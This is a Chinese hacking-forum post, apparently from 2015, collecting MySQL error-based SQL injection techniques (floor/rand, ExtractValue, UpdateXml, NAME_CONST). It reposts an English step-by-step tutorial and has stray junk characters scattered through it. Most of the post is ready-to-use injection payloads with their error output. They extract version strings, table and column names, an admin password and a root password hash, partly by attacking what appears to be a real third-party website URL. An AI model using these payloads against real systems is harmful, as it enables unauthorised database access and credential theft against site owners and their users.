找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2971|回复: 0
打印 上一主题 下一主题

mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2015-11-11 19:03:37 | 只看该作者 回帖奖励 |正序浏览 |阅读模式

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下:
0 \! ~/ O( Z6 j% v( ^7 L首先进行正常查询:

mysql> select * from article where id = 1;/ t- f& k' I1 {
+—-+——-+———+5 M0 G/ t3 U7 ~) G
| id | title | content |- {# S, B+ T6 a) {/ w- n1 {
+—-+——-+———+
( ~  q( L. o' `6 R|  1 | test  | do it   |
; m( L4 ], n. f; L- t+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);  T# n9 v. s' ~8 c: s: `
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。0 c* P* X1 A! L' o: K- R$ F
例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);5 f: u! v4 t/ _
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));( X2 U7 E$ T  j. \. S6 X+ G
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue' _4 N: B; h0 @% ^( p6 ~
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
: l; T5 n+ `* f+ t9 P0 p- fERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

" f6 |0 @( l1 r& U- e( O+ z

2 W+ H1 H7 p- I3 v# v) w7 g" T3 e9 B

再收集:


2 M4 x6 [( c% [http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) ; t  @# j6 G2 B6 q

) |2 G; ~# z5 H4 a6 M6 i0 ], y% x4 e( eErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’- l4 L+ x9 z9 v# H* q

, O* w# u; Z# khttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
. u' G. ?8 E* c/ F% i. Q' E/ g, Z/ p4 |8 W
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
+ ?! `. |, L% f3 w5 V2 R( A( e; o# O5 T# F2 ]& i* }. P0 k' Q
MYSQL高版本报错注入技巧-利用NAME_CONST注入3 c1 m/ K3 S! g) F6 F
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. 3 V7 s  A* p# {' ]. T% w6 D% g

& X8 m: u5 A! ], w+ S3 T  ]% I7 Q9 P/ Y/ |8 i
相关信息4 {7 {# Y0 \3 m; c, y$ f
' b( {6 U8 N2 s. `" r2 O+ y1 D; o
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
- g% P9 k" w( r; y1 a; q0 F- T  z  a6 l  l, Q6 z6 a, ~
Code:! h: J4 N$ t+ m" _) F& p0 F
NAME_CONST(DATA, VALUE)
" V3 u3 X7 b) m1 h, p8 v' e. l+ J" W: k
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.6 v8 L4 ~. F" S1 p% Z& r, V- J
( ?- E2 r( a, b2 l
SELECT NAME_CONST('TEST', 1)% E3 M* a" _6 b4 M5 w' A
+ P" x5 W% x( I- w: c( Q& `) |

1 N  q& b% A6 j' b6 u; q
* E$ Q% u6 D( I8 w* Y6 {|---------------|6 M3 r4 J3 B0 L+ R, w
|     TEST      |
1 G, E& j" g# x, I# C. ^1 k& j|               |
; h) [/ `4 E) d4 K- d, r|---------------|; i* I# d3 P; h, j* @1 U
|       1       |: N/ Q) M/ {5 o. B- Y& u! q
|               |3 U) u& q$ o3 b
|---------------|5 J; @) e" l3 h0 x7 s

! \1 I. Q7 ?1 A& J6 z( n0 z3 c

! w) A, Q/ r( f* h% o
1 U$ e' c, \  i7 R4 ^5 Z3 v5 Ohttp://dev.mysql.com/doc/refman/5.0/en/m...name-const3 U, ?& q! S' Q- Y! V9 r; q4 ^' d
Intro to MySQL Variables
9 E! N5 S! j4 [$ r6 V' c+ m
) k! h! T6 j( |, u) ?Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST./ X$ j% G! W& j3 Y" z9 E8 r0 s; t

7 q, }' X$ H7 d7 _3 y8 lCode:
; R/ ~4 J: O5 O6 R3 U" z5 D: Hhttp://www.baido.hk/qcwh/content ... ;sid=19&cid=2610 c2 E5 w: {3 V5 u7 P
. z+ G. o7 o  X; D3 m5 a
! J4 r( ?$ k( I! f- ?

' M7 e, z7 [: A2 K* q8 c8 n# J

) [5 c5 b* O/ K: k3 t- b0 k* f$ @. l' R. c1 X! U; S, G
Code:
' j9 h2 W; ^0 U* eand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--- r# h; K3 m2 q5 ^9 o7 F- Q- U4 S
6 H& ~8 z. D4 C

% W( x0 f+ ?  p3 ]5 jVAR = Your MySQL variable.
' f# a1 i3 A; u8 @2 [- A# t
0 O- n5 a# X$ a  ]8 W, }& i# xMySQL 5.1.3 Server System Variables2 D- e2 ~' A6 V" [. @2 e1 U1 Y

% p1 z: D( I% s5 |8 \6 I' OLet's try it out on my site..8 P! b% S5 D9 |; v* S# C
3 ]: q1 _/ p0 O2 R+ [+ `1 n
Code:+ L( a7 P' z5 I) x' P- H: Z! @
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--$ g3 k4 D* V# K2 E! x5 d7 t
% P7 b2 U" H2 P: E" a9 `' t
Erroruplicate column name '5.0.27-community-nt'! {# V/ F2 u" H

6 {0 |; a1 D% D8 q' A; q
' W0 i/ H- v1 q: Q- k8 S
- r5 i" ]& V% E0 {/ Z* H

7 i/ A+ P: @7 t+ g
  J- U2 l/ L! ]& Z: INow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
6 n7 A4 J9 c' M
8 O; A% k7 s) m# Q) c) g' _8 gData Extraction
' o, N  t$ I" w5 b# R* D8 C3 Z% g; A8 l$ c7 G
Code:
6 y2 Y$ N/ c( D* Y5 b# |) m+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
* a* o7 _! d* K# M# N

3 m# Z  F! V* m' U0 [+ D: u9 t8 s3 A# Z  T
We should get a duplicate column 1 error...
) ^5 v) S4 M. [+ X' K- }+ b: P8 H1 c8 q& ?7 ]
Code:6 @' d0 G5 Y! Q" f
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--& `4 I* M4 q2 }+ P! G2 s2 N7 j
6 c5 E4 [+ ]2 M9 z5 f6 P
Erroruplicate column name '1
; Y6 }. ^5 @7 D& @5 O

4 N4 j# y# v: @: Y0 g3 i0 |. C* P5 n# Q- h' Z
6 c' `$ Z5 j, `' ~2 `. g! x* o

; s  y5 t/ c+ M% g  q0 R4 A

5 @* L! o  M& i0 o2 A- [8 O
! j9 M; x8 x$ VNow let's get the tables out this bitch..- V* j! s- m7 A6 O. k

) A/ Q) B; o1 Z% ]. _6 SCode:
: h+ w8 V4 `4 t3 S) n" ?8 [  B+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
. b) I4 J& i: J8 ]) W

/ p. l8 m! b. H/ f
3 o' A5 \' h5 q  SLet's see if it works here, if it does, we can go on and finish the job., J* t2 u; @( U8 P  R" V

4 l4 c  G) M$ nCode:
( L9 t% W% T  i# P0 x* o" S  Whttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--; [( V; q1 V) B" g

5 f1 S  H/ _6 \1 c6 N
6 Z0 A- b7 `' l, T$ gErroruplicate column name 'com_admanage- ?$ `$ O' }) B8 l& {

* m6 \; v' h$ w$ M
$ @3 G0 Z* o5 a/ n/ f  }5 M% }" I$ G2 z% x5 }$ }0 L
9 O8 E& X' @( ?4 j  y

6 t: `, E- R- }6 y
' B+ H) C/ L+ P+ G6 U, s. \Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
! \8 t, D# m0 D  U' Q- w* T" x: ?' c
Let's get the columns out of the user table..
3 N1 U  Z* I# N7 Q5 C: a; G% P8 d, w7 t
Code:
+ @, e+ i( I2 O. ^! c# u. a+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
2 F3 m, y4 h" e" T( O
- A  K- M3 W1 l
% T8 b8 }- {' ?# p: c6 s- h% a" Q8 R9 q2 Z
So mine looks like this, and I get the duplicate column name 'Host'.
& m' J- w6 D0 B' [# Y6 _+ |
6 A( u4 X9 K& v4 o8 D: N8 KCode:, A! f/ s- r0 o
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--, e8 Z* _2 f0 s* a1 n
* g) b  A+ G2 L  E- Y7 g
Erroruplicate column name 'Host'" }7 r/ Z/ ^2 `1 B

" m. r9 N6 \0 R+ e5 E) R
  ]9 }* A5 X- C1 T! z
# W$ H, ~; }6 E% e
  V( E* F2 G* E( I/ `1 N
9 y  c: ]3 ]; m
" O- @8 }( U% g/ m: R3 n) Y* U
Woot, time to finish this bitch off.
7 V! k$ c' A2 {9 n, D7 B3 ~$ f
6 O" l# v' J6 j3 gCode:
* {) C" ^' p! t! o! M8 w+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--! H/ i+ G  v. q" w

6 |" y! X/ i" V" K; [5 q. u3 U
! i! w0 |3 [6 S8 {' y2 dSo mine looks like this...
, d8 E5 N% P3 Z* U3 O' K
  l( j+ J% J5 _7 [: J0 p+ W! ?Code:
5 E$ Z1 p: D8 p% x( w% i" E/ z6 O3 Chttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--+ g+ Z  g; x6 ~
8 H! M; G' _1 R4 q
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
/ R. r, F- X2 B% V
7 ]9 i4 s5 d% C) z6 ]; a0 L* d
  e+ V! Y; P0 d

/ G. [* p5 T+ e3 `) w; i3 Q5 H  O* T4 w. G
6 H! M! }, @4 K! r6 _, w
5 L% t5 ]' Z$ G! e- W7 U$ `! k
And there we have it, thanks for reading.

! M' n, `0 K+ a9 B( p( s2 I
# d. j* m4 d+ X& n' y4 K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表